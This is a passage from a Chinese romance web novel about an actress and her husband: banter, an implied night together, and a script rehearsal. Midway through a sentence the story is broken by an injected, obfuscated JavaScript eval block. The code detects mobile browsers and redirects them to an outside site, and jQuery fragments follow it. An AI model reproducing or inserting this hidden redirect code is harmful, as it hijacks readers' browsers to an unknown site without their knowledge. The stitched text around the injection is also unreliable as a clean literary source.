慈恒胸口被她整个人压着,有点呼吸不畅,只能借着手肘的力量半坐起来,“你每天都拍的什么戏?色.胆包天了。”
“怎么了?就许你们男人有那种念头,不准我们女人有了?我就是想,不仅想,还要得到。”
温珍旎动手扒他,“你大老远来一趟,不是为了这个?”
慈恒眯眼,抓住她不安分的一双手,“说话讲证据,到底是谁要?”
“可是你刚才都脱衣服了。”
慈恒无语:“脱衣服是洗澡的第一步。”
温珍旎词穷理亏,但煮熟的鸭子都到嘴边了,完全没理由放弃,“来都来了,就提供一下技术支持嘛。”
慈恒:“……”把他当什么了,专用工具鸭?
他以为是鸭,没想到温珍旎给了一个更抽象的比喻,“电器总是需要定时充电的。”
慈恒的表情一言难尽,“这种话谁教你的?”
“奚淼说的。”温珍旎把闺蜜卖的干干净净,“她还说秀色的男模身材超好,好几次都想带我去见识。”
慈恒皮笑肉不笑,“那我打断你的腿,哪儿都别去了,乖乖呆在家里,你说好不好?”
温珍旎赶紧改口:“……其实也不是什么插头都兼容的,我有专用的就够了。”
为表诚意,飞快地在他脸上亲了一口,“所以老公,要充电吗?”
在她眼里,他终归还是消耗品。
……算了,消耗品就消耗品吧。
他轻轻拍她的后背,温珍旎立即会意,动作麻利迅速地躺下了,嘴里还不忘跟他提要求,“你太重了,不能压到我。”
还有没有天理了,最想要的人,还不想出力。
哪里是老婆,分明是个祖宗。
慈恒俯身,认命地将人从床上捞起来,拍拍她的大腿,“上来。”
抱到洗漱台上,温热的呼吸扫过她的眼睛,“从现在开始,不许说话。”
温珍旎轻抿着唇,脚趾勾着裤子布料,没把他的话放在眼里,“可是我——”话没还说完,就被吻住。
只来得及发出微弱的轻哼,她的脖颈被迫向后仰,什么话也说不出来了。
慈恒一手扶她后颈,另一只手托在她腰后,支撑着她后倾的身体
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166292|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
看似强势掌控的动作,却耐心又温柔,就仿佛捧在手心的稀世珍宝,怕有一丝一毫的磕碰。
在交错的呼吸里,温珍旎眼睫轻颤了几下,最终缓缓阖上,手指虚虚搭上他的背。
她似乎能理解女人为什么热衷于收藏腹肌照了。
如果每天看到的都是这种级别的身材,是真的会笑醒。
她也确实是笑醒的,睡到日上三竿,睁眼看到枕边的男人时,还是会被昨晚的盛宴美到忍不住笑出声。
“就这么高兴?”慈恒将她拢进怀里,下巴蹭了蹭她的发顶。
温珍旎当然满意,“服务评价五颗星。”
她将下巴抵在男人肩窝,曲起食指,在鼓起的胳膊上画着圈,像是在确认什么,低声咕哝了一句:“好像是比裘司城的结实一点。”
“就一点!”连他自己都诧异,到底什么时候开始,占有欲和好胜心已经到了这种地步。
温珍旎弯眼笑着:“好吧,是很多。”
慈恒指尖掐她的脸颊,“下回不准提他。”
想到裘司城昨晚说的话,他现在心里也有了明确答案。
那种假设是不成立的,即便某天她真的产生了离开的念头,他就是威逼利诱也要把人绑在身边。
“跟人谈过恋爱吗?”他问。
突然问这种话,温珍旎觉得莫名,“你忘了啊,毕业我就结婚了,在这之前已经出道两年,跟谁谈去?”
说着,两手插进他发间,把他本就睡乱的头发揉得更乱。
慈恒躲不开她捣乱的手,攥住胳膊才把人给牢牢按住。
转头看到剧本搁在床头柜上,他一伸手拿了过来,随手翻了翻。
“干嘛翻我东西。”温珍旎钻到他两臂之间,“你想看剧本吗?”
他顺势把人圈进怀里,两人一起看。
其中一场是女主明白心意后,鼓起勇气找到男主,和他告白的戏码。
他指着那里道:“照着来一遍,看看你的长进。”
温珍旎倒也配合,深吸了一口气,变换神色,望进他深邃的眼眸里。
“我对你不是感激和依赖,是心动,是喜欢,你明白吗?”
她停顿了一下,继续下一句:“我喜欢和你在一起的时候,很喜欢很喜欢,所以……你呢?”
只有两段简短的台词,然后是神情描写,需要女主的眼神流露紧张,和对男主反应的期待。
趴在身前的人心跳骤然加快,拍打着他的胸膛。
慈恒的目光落在她脸上,没有放过她眼里的情绪。那里面一片炽热,确实盛着眷恋,还有一闪而过的迷茫。
他喉结克制地滚动了一下,扶在她后背的手渐渐收紧。一时不能分辨,是她演技精湛,还是情难自禁的真心流露。
“还有一个吻呢?”他问。
温珍旎双手拢住他的脸,缓慢地将脸靠近,近到彼此的呼吸交织,气息拂过他唇畔时,又无声地拉开了一段距离。
“卡!”她给自己喊了停,忙着问他,“怎么样?进步是不是很大?”
慈恒摇头:“没感觉到爱意。”
“怎么可能。”温珍旎不信,“你是专业的,还是我是专业的?”
她挣扎起来,去抢剧本,被他手臂一揽,放倒在枕上。